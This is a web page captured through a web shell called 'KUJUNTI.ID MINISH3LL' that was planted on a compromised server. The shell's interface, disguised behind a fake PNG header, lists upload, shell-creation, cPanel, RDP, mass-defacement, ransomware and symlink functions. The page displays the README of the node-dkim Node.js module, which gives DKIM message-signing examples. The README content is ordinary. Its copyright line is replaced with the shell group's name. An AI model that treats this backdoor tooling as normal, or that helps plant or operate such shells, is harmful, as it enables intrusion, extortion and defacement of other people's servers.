\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tool-ob/ToolsPortal/node_modules/node-dkim/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/tool-ob/ToolsPortal/node_modules/node-dkim/README.md


# DKIM Signer

Sign RFC822 messages with DKIM. This module is extracted from [dkim-signer](https://github.com/andris9/dkim-signer).

## Usage

```javascript
// require signer function
var DKIMSign = require("node-dkim").DKIMSign;

// generate a RFC822 message
var rfc822message = "Subject: test\r\n\r\nHello world";

// setup DKIM options
var dkimOptions = {
    domainName: "example.info",
    keySelector: "dkim",
    privateKey: require("fs").readFileSync("./test_private.pem")
};

// generate signature header field
var signature = DKIMSign(rfc822message, dkimOptions);

// join signature header field with the message
console.log(signature + "\r\n" + rfc822message);
```



## Another Uses



```javascript
// require signer function
var DKIMSigner = require("node-dkim").DKIMSigner;
var fs=require('fs');
// generate a RFC822 message
var rs=fs.createReadStream(filePath)
var ws=fs.createWriteStream(fileDestPath)

// setup DKIM options
var dkimOptions = {
    domainName: "example.info",
    keySelector: "dkim",
    privateKey: require("fs").readFileSync("./test_private.pem")
};

// generate signature and write to another file


rs.pipe(new DKIMSigner(dkimOptions)).pipe(ws);

```



## License

**MIT**

© KUJUNTI.ID